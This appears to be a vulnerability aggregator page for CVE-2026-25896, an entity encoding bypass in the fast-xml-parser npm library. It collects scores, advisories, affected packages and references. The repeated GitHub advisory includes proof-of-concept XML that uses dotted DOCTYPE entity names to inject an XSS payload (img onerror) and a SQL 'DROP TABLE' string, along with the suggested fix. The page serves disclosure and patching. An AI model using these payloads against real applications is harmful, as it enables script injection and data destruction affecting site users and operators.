CVE-2026-25896
fast-xml-parser has an entity encoding bypass via regex injection in DOCTYPE entity names
fast-xml-parser allows users to validate XML, parse XML to JS object, or build XML from JS object without C/C++ based libraries and no callback. From 4.1.3to before 5.3.5, a dot (.) in a DOCTYPE entity name is treated as a regex wildcard during entity replacement, allowing an attacker to shadow built-in XML entities (<, >, &, ", ') with arbitrary values. This bypasses entity encoding and leads to XSS when parsed output is rendered. This vulnerability is fixed in 5.3.5.
Attack profile
How easy it is to exploit
- Attack vector
- Network
- Complexity
- Low
- Privileges needed
- None
- User interaction
- None
What an attacker can affect
- Confidentiality
- Low
- Integrity
- High
- Availability
- None
Exploit likelihood
What each source reports
CVE List Score used
9.3
fast-xml-parser has an entity encoding bypass via regex injection in DOCTYPE entity names
fast-xml-parser allows users to validate XML, parse XML to JS object, or build XML from JS object without C/C++ based libraries and no callback. From 4.1.3to before 5.3.5, a dot (.) in a DOCTYPE entity name is treated as a regex wildcard during entity replacement, allowing an attacker to shadow built-in XML entities (<, >, &, ", ') with arbitrary values. This bypasses entity encoding and leads to XSS when parsed output is rendered. This vulnerability is fixed in 5.3.5.
- Record
CVE-2026-25896- CVSS 3.1
- 9.3 Critical
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:H/A:N - CVSS 3.1
- 7.1 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L - Weakness
- CWE-185, CWE-79
- Updated
- 2026-11-02
EUVDEUVD-2026-7529
9.3
fast-xml-parser allows users to validate XML, parse XML to JS object, or build XML from JS object without C/C++ based libraries and no callback. From 4.1.3to before 5.3.5, a dot (.) in a DOCTYPE entity name is treated as a regex wildcard during entity replacement, allowing an attacker to shadow built-in XML entities (<, >, &, ", ') with arbitrary values. This bypasses entity encoding and leads to XSS when parsed output is rendered. This vulnerability is fixed in 5.3.5.
- Record
EUVD-2026-7529- CVSS 3.1
- 9.3 Critical
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:H/A:N - Updated
- 2026-11-02
GitHub AdvisoriesGHSA-m7jm-9gc2-mpf2
9.3
fast-xml-parser has an entity encoding bypass via regex injection in DOCTYPE entity names
Entity encoding bypass via regex injection in DOCTYPE entity names
Summary
A dot (.) in a DOCTYPE entity name is treated as a regex wildcard during entity replacement, allowing an attacker to shadow built-in XML entities (<, >, &, ", ') with arbitrary values. This bypasses entity encoding and leads to XSS when parsed output is rendered.
Details
The fix for CVE-2023-34104 addressed some regex metacharacters in entity names but missed . (period), which is valid in XML names per the W3C spec.
In DocTypeReader.js, entity names are passed directly to RegExp():
entities[entityName] = {
regx: RegExp(`&${entityName};`, "g"),
val: val
};
An entity named l. produces the regex /&l.;/g where . matches any character, including the t in <. Since DOCTYPE entities are replaced before built-in entities, this shadows < entirely.
The same issue exists in OrderedObjParser.js:81 (addExternalEntities), and in the v6 codebase - EntitiesParser.js has a validateEntityName function with a character blacklist, but . is not included:
// v6 EntitiesParser.js line 96
const specialChar = "!?\\/[]$%{}^&*()<>|+"; // no dot
Shadowing all 5 built-in entities
| Entity name | Regex created | Shadows |
|---|---|---|
| l. | /&l.;/g | < |
| g. | /&g.;/g | > |
| am. | /&am.;/g | & |
| quo. | /&quo.;/g | " |
| apo. | /&apo.;/g | ' |
PoC
const { XMLParser } = require("fast-xml-parser");
const xml = `<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY l. "<img src=x onerror=alert(1)>">
]>
<root>
<text>Hello <b>World</b></text>
</root>`;
const result = new XMLParser().parse(xml);
console.log(result.root.text);
// Hello <img src=x onerror=alert(1)>b>World<img src=x onerror=alert(1)>/b>
No special parser options needed - processEntities: true is the default.
When an app renders result.root.text in a page (e.g. innerHTML, template interpolation, SSR), the injected <img onerror> fires.
& can be shadowed too:
const xml2 = `<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY am. "'; DROP TABLE users;--">
]>
<root>SELECT * FROM t WHERE name='O&Brien'</root>`;
const r = new XMLParser().parse(xml2);
console.log(r.root);
// SELECT * FROM t WHERE name='O'; DROP TABLE users;--Brien'
Impact
This is a complete bypass of XML entity encoding. Any application that parses untrusted XML and uses the output in HTML, SQL, or other injection-sensitive contexts is affected.
- Default config, no special options
- Attacker can replace any
</>/&/"/'with arbitrary strings - Direct XSS vector when parsed XML content is rendered in a page
- v5 and v6 both affected
Suggested fix
Escape regex metacharacters before constructing the replacement regex:
const escaped = entityName.replace(/[.*+?^${}()|[\]\\]/g, '\\$&');
entities[entityName] = {
regx: RegExp(`&${escaped};`, "g"),
val: val
};
For v6, add . to the blacklist in validateEntityName:
const specialChar = "!?\\/[].{}^&*()<>|+";
Severity
CWE-185 (Incorrect Regular Expression)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:H/A:N - 9.3 (CRITICAL)
Entity decoding is a fundamental trust boundary in XML processing. This completely undermines it with no preconditions.
- Record
GHSA-m7jm-9gc2-mpf2- CVSS 3.1
- 9.3 Critical
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:H/A:N - Weakness
- CWE-185
- Updated
- 2026-11-02
NVD
9.3
fast-xml-parser allows users to validate XML, parse XML to JS object, or build XML from JS object without C/C++ based libraries and no callback. From 4.1.3to before 5.3.5, a dot (.) in a DOCTYPE entity name is treated as a regex wildcard during entity replacement, allowing an attacker to shadow built-in XML entities (<, >, &, ", ') with arbitrary values. This bypasses entity encoding and leads to XSS when parsed output is rendered. This vulnerability is fixed in 5.3.5.
- Record
CVE-2026-25896- CVSS 3.1
- 9.3 Critical
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:H/A:N - CVSS 3.1
- 7.1 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L - Weakness
- CWE-185, CWE-79
- Updated
- 2026-11-02
OSV
9.3
fast-xml-parser has an entity encoding bypass via regex injection in DOCTYPE entity names
fast-xml-parser allows users to validate XML, parse XML to JS object, or build XML from JS object without C/C++ based libraries and no callback. From 4.1.3to before 5.3.5, a dot (.) in a DOCTYPE entity name is treated as a regex wildcard during entity replacement, allowing an attacker to shadow built-in XML entities (<, >, &, ", ') with arbitrary values. This bypasses entity encoding and leads to XSS when parsed output is rendered. This vulnerability is fixed in 5.3.5.
- Record
CVE-2026-25896- CVSS 3.1
- 9.3 Critical
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:H/A:N - Weakness
- CWE-185
- Updated
- 2026-11-02
OSVDEBIAN-CVE-2026-25896
9.3
fast-xml-parser allows users to validate XML, parse XML to JS object, or build XML from JS object without C/C++ based libraries and no callback. From 4.1.3to before 5.3.5, a dot (.) in a DOCTYPE entity name is treated as a regex wildcard during entity replacement, allowing an attacker to shadow built-in XML entities (<, >, &, ", ') with arbitrary values. This bypasses entity encoding and leads to XSS when parsed output is rendered. This vulnerability is fixed in 5.3.5.
- Record
DEBIAN-CVE-2026-25896- CVSS 3.1
- 9.3 Critical
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:H/A:N - Updated
- 2026-11-02
Show 8 moreShow less
OSVGHSA-m7jm-9gc2-mpf2
9.3
fast-xml-parser has an entity encoding bypass via regex injection in DOCTYPE entity names
Entity encoding bypass via regex injection in DOCTYPE entity names
Summary
A dot (.) in a DOCTYPE entity name is treated as a regex wildcard during entity replacement, allowing an attacker to shadow built-in XML entities (<, >, &, ", ') with arbitrary values. This bypasses entity encoding and leads to XSS when parsed output is rendered.
Details
The fix for CVE-2023-34104 addressed some regex metacharacters in entity names but missed . (period), which is valid in XML names per the W3C spec.
In DocTypeReader.js, entity names are passed directly to RegExp():
entities[entityName] = {
regx: RegExp(`&${entityName};`, "g"),
val: val
};
An entity named l. produces the regex /&l.;/g where . matches any character, including the t in <. Since DOCTYPE entities are replaced before built-in entities, this shadows < entirely.
The same issue exists in OrderedObjParser.js:81 (addExternalEntities), and in the v6 codebase - EntitiesParser.js has a validateEntityName function with a character blacklist, but . is not included:
// v6 EntitiesParser.js line 96
const specialChar = "!?\\/[]$%{}^&*()<>|+"; // no dot
Shadowing all 5 built-in entities
| Entity name | Regex created | Shadows |
|---|---|---|
| l. | /&l.;/g | < |
| g. | /&g.;/g | > |
| am. | /&am.;/g | & |
| quo. | /&quo.;/g | " |
| apo. | /&apo.;/g | ' |
PoC
const { XMLParser } = require("fast-xml-parser");
const xml = `<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY l. "<img src=x onerror=alert(1)>">
]>
<root>
<text>Hello <b>World</b></text>
</root>`;
const result = new XMLParser().parse(xml);
console.log(result.root.text);
// Hello <img src=x onerror=alert(1)>b>World<img src=x onerror=alert(1)>/b>
No special parser options needed - processEntities: true is the default.
When an app renders result.root.text in a page (e.g. innerHTML, template interpolation, SSR), the injected <img onerror> fires.
& can be shadowed too:
const xml2 = `<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY am. "'; DROP TABLE users;--">
]>
<root>SELECT * FROM t WHERE name='O&Brien'</root>`;
const r = new XMLParser().parse(xml2);
console.log(r.root);
// SELECT * FROM t WHERE name='O'; DROP TABLE users;--Brien'
Impact
This is a complete bypass of XML entity encoding. Any application that parses untrusted XML and uses the output in HTML, SQL, or other injection-sensitive contexts is affected.
- Default config, no special options
- Attacker can replace any
</>/&/"/'with arbitrary strings - Direct XSS vector when parsed XML content is rendered in a page
- v5 and v6 both affected
Suggested fix
Escape regex metacharacters before constructing the replacement regex:
const escaped = entityName.replace(/[.*+?^${}()|[\]\\]/g, '\\$&');
entities[entityName] = {
regx: RegExp(`&${escaped};`, "g"),
val: val
};
For v6, add . to the blacklist in validateEntityName:
const specialChar = "!?\\/[].{}^&*()<>|+";
Severity
CWE-185 (Incorrect Regular Expression)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:H/A:N - 9.3 (CRITICAL)
Entity decoding is a fundamental trust boundary in XML processing. This completely undermines it with no preconditions.
- Record
GHSA-m7jm-9gc2-mpf2- CVSS 3.1
- 9.3 Critical
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:H/A:N - Weakness
- CWE-185
- Updated
- 2026-11-02
OSVROOT-APP-NPM-CVE-2026-25896
9.3
CVE-2026-25896 in fast-xml-parser - Patched by Root
Root has patched CVE-2026-25896 in the fast-xml-parser package for Root:npm. Multiple fixed versions available.
- Record
ROOT-APP-NPM-CVE-2026-25896- CVSS 3.1
- 9.3 Critical
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:H/A:N - Updated
- 2026-11-02
OSVUBUNTU-CVE-2026-25896
9.3
fast-xml-parser allows users to validate XML, parse XML to JS object, or build XML from JS object without C/C++ based libraries and no callback. From 4.1.3to before 5.3.5, a dot (.) in a DOCTYPE entity name is treated as a regex wildcard during entity replacement, allowing an attacker to shadow built-in XML entities (<, >, &, ", ') with arbitrary values. This bypasses entity encoding and leads to XSS when parsed output is rendered. This vulnerability is fixed in 5.3.5.
- Record
UBUNTU-CVE-2026-25896- CVSS 3.1
- 9.3 Critical
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:H/A:N - CVSS 3.1
- 7.1 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L - Updated
- 2026-11-02
OSVCLSA-2026-1781744119 No score
TuxCare security update for fast-xml-parser (6 CVEs)
TuxCare rebuilt fast-xml-parser to address 6 CVEs. Fixed in 4.2.7-tuxcare.1.
- Record
CLSA-2026-1781744119- Updated
- 2026-11-02
OSVCLSA-2026-1781744139 No score
TuxCare security update for fast-xml-parser (6 CVEs)
TuxCare rebuilt fast-xml-parser to address 6 CVEs. Fixed in 4.4.0-tuxcare.1.
- Record
CLSA-2026-1781744139- Updated
- 2026-11-05
OSVCLSA-2026-1789376231 No score
TuxCare security update for fast-xml-parser (1 CVE)
TuxCare rebuilt fast-xml-parser to address 1 CVE. Fixed in 4.5.1-tuxcare.2.
- Record
CLSA-2026-1789376231- Updated
- 2026-11-02
OSVCLSA-2026-1792454133 No score
TuxCare security update for fast-xml-parser (7 CVEs)
TuxCare rebuilt fast-xml-parser to address 7 CVEs. Fixed in 5.2.5-tuxcare.1.
- Record
CLSA-2026-1792454133- Updated
- 2026-11-02
OSVCLSA-2026-1792488947 No score
TuxCare security update for fast-xml-parser (3 CVEs)
TuxCare rebuilt fast-xml-parser to address 3 CVEs. Fixed in 4.4.1-tuxcare.1.
- Record
CLSA-2026-1792488947- Updated
- 2026-11-02
Affected products
- naturalintelligence fast-xml-parser
- red hat migration toolkit for applications 8
- red hat advanced cluster security 4.8
- red hat advanced cluster security 4.9
- red hat developer hub 1.8
- red hat developer hub 1.9
- red hat openshift data foundation 4.18
- red hat openshift data foundation 4.19
- red hat openshift data foundation 4.20
- red hat openshift gitops
- red hat openshift virtualization 4
- red hat satellite 6
Show 2 moreShow less
Affected packages
| Package | Affected | Fixed |
|---|---|---|
fast-xml-parsernpm |
5.0.0 up to 5.3.5 | 5.3.5 |
fast-xml-parsernpm |
4.1.3 up to 4.5.4 | 4.5.4 |
fast-xml-parserTuxCare:npm From an advisory covering 6 CVEs |
4.2.7-tuxcare.0 up to 4.2.7-tuxcare.1, plus listed versions 4.2.7 |
4.2.7-tuxcare.1 |
fast-xml-parserTuxCare:npm From an advisory covering 6 CVEs |
4.4.0-tuxcare.0 up to 4.4.0-tuxcare.1, plus listed versions 4.4.0 |
4.4.0-tuxcare.1 |
fast-xml-parserTuxCare:npm |
4.5.1-tuxcare.0 up to 4.5.1-tuxcare.2, plus listed versions 4.5.14.5.1-tuxcare.1 |
4.5.1-tuxcare.2 |
fast-xml-parserTuxCare:npm From an advisory covering 7 CVEs |
5.2.5-tuxcare.0 up to 5.2.5-tuxcare.1, plus listed versions 5.2.5 |
5.2.5-tuxcare.1 |
fast-xml-parserTuxCare:npm From an advisory covering 3 CVEs |
4.4.1-tuxcare.0 up to 4.4.1-tuxcare.1, plus listed versions 4.4.1 |
4.4.1-tuxcare.1 |
node-webfontDebian:12 |
All versions, plus listed versions 11.4.0+dfsg2+~cs35.7.26-1011.4.0+dfsg2+~cs35.7.26-1111.4.0+dfsg2+~cs35.7.26-1211.4.0+dfsg2+~cs35.7.26-1311.4.0+dfsg2+~cs35.7.26-14 Show 9 moreShow less11.4.0+dfsg2+~cs35.7.26-1511.4.0+dfsg2+~cs35.7.26-1611.4.0+dfsg2+~cs35.7.26-1811.4.0+dfsg2+~cs35.7.26-1911.4.0+dfsg2+~cs35.7.26-2011.4.0+dfsg2+~cs35.7.26-2111.4.0+dfsg2+~cs35.7.26-711.4.0+dfsg2+~cs35.7.26-811.4.0+dfsg2+~cs35.7.26-9 |
None known |
node-webfontDebian:13 |
All versions, plus listed versions 11.4.0+dfsg2+~cs35.7.26-1311.4.0+dfsg2+~cs35.7.26-1411.4.0+dfsg2+~cs35.7.26-1511.4.0+dfsg2+~cs35.7.26-1611.4.0+dfsg2+~cs35.7.26-1811.4.0+dfsg2+~cs35.7.26-1911.4.0+dfsg2+~cs35.7.26-2011.4.0+dfsg2+~cs35.7.26-21 |
None known |
node-webfontDebian:14 |
All versions, plus listed versions 11.4.0+dfsg2+~cs35.7.26-1311.4.0+dfsg2+~cs35.7.26-1411.4.0+dfsg2+~cs35.7.26-1511.4.0+dfsg2+~cs35.7.26-1611.4.0+dfsg2+~cs35.7.26-1811.4.0+dfsg2+~cs35.7.26-1911.4.0+dfsg2+~cs35.7.26-2011.4.0+dfsg2+~cs35.7.26-21 |
None known |
Show 6 moreShow less
| Package | Affected | Fixed |
|---|---|---|
fast-xml-parserRoot:npm |
before 4.4.1-aikido.9 | 4.4.1-aikido.95.2.5-aikido.45.3.4-aikido.75.3.4-aikido.84.2.5-aikido.14.2.5-aikido.24.5.3-aikido.14.5.3-aikido.24.5.1-aikido.14.5.1-aikido.24.5.1-aikido.34.5.1-aikido.44.5.4-aikido.1 |
@rootio/fast-xml-parserRoot:npm |
before 5.3.4-root.io.2 | 5.3.4-root.io.24.4.1-root.io.25.3.4-root.io.34.4.1-root.io.34.4.1-root.io.45.3.4-root.io.44.4.1-root.io.54.4.1-root.io.64.4.1-root.io.75.3.4-root.io.55.2.5-root.io.24.4.1-root.io.85.2.5-root.io.35.3.4-root.io.64.4.1-root.io.95.2.5-root.io.45.3.4-root.io.75.3.4-root.io.84.2.5-root.io.14.2.5-root.io.24.5.3-root.io.14.5.3-root.io.24.5.1-root.io.14.5.1-root.io.24.5.1-root.io.34.5.1-root.io.44.5.4-root.io.1 |
node-webfontUbuntu:24.04:LTS |
All versions, plus listed versions 11.4.0+dfsg2+~cs35.7.26-7ubuntu1 |
None known |
node-webfontUbuntu:25.10 |
All versions, plus listed versions 11.4.0+dfsg2+~cs35.7.26-1011.4.0+dfsg2+~cs35.7.26-13ubuntu2 |
None known |
node-webfontUbuntu:26.10 |
All versions, plus listed versions 11.4.0+dfsg2+~cs35.7.26-1811.4.0+dfsg2+~cs35.7.26-19 |
None known |
node-webfontUbuntu:26.04:LTS |
All versions, plus listed versions 11.4.0+dfsg2+~cs35.7.26-13ubuntu211.4.0+dfsg2+~cs35.7.26-1411.4.0+dfsg2+~cs35.7.26-1511.4.0+dfsg2+~cs35.7.26-16build111.4.0+dfsg2+~cs35.7.26-18 |
None known |
History
| Recorded | Changed | Sources |
|---|---|---|
| affected | ||
| facts | OSV | |
| first indexed | CVE List, EUVD, GitHub Advisories, NVD, OSV |
Dates are when Every CVE recorded each change. Upstream dates may differ.
In short
CVE-2026-25896 is a critical vulnerability (CVSS 9.3) in Naturalintelligence Fast-xml-parser, published February 20, 2026. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 0.53%, the 44th percentile. Fixed in fast-xml-parser 5.3.5.
References
github.com/NaturalIntelligence/fast-xml-parser/security/advisories/GHSA-m7jm-9gc2-mpf2
github.com/NaturalIntelligence/fast-xml-parser/commit/943ef0eb1b2d3284e72dd74f44a042ee9f07026e
github.com/NaturalIntelligence/fast-xml-parser/commit/ddcd0acf26ddd682cb0dc15a2bd6aa3b96bb1e69
github.com/NaturalIntelligence/fast-xml-parser/releases/tag/v5.3.5
access.redhat.com/security/cve/CVE-2026-25896
bugzilla.redhat.com/show_bug.cgi?id=2441501
Show 16 moreShow less
security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-25896.json
access.redhat.com/errata/RHSA-2026:7110
access.redhat.com/errata/RHSA-2026:7128
access.redhat.com/errata/RHSA-2026:6174
access.redhat.com/errata/RHSA-2026:6802
access.redhat.com/errata/RHSA-2026:41941
access.redhat.com/errata/RHSA-2026:41944
access.redhat.com/errata/RHSA-2026:40984
access.redhat.com/errata/RHSA-2026:51349
nvd.nist.gov/vuln/detail/CVE-2026-25896
github.com/advisories/GHSA-m7jm-9gc2-mpf2
github.com/CVEProject/cvelistV5/tree/main/cves/2026/25xxx/CVE-2026-25896.json
security-tracker.debian.org/tracker/CVE-2026-25896
github.com/NaturalIntelligence/fast-xml-parser
ubuntu.com/security/CVE-2026-25896
cve.org/CVERecord?id=CVE-2026-25896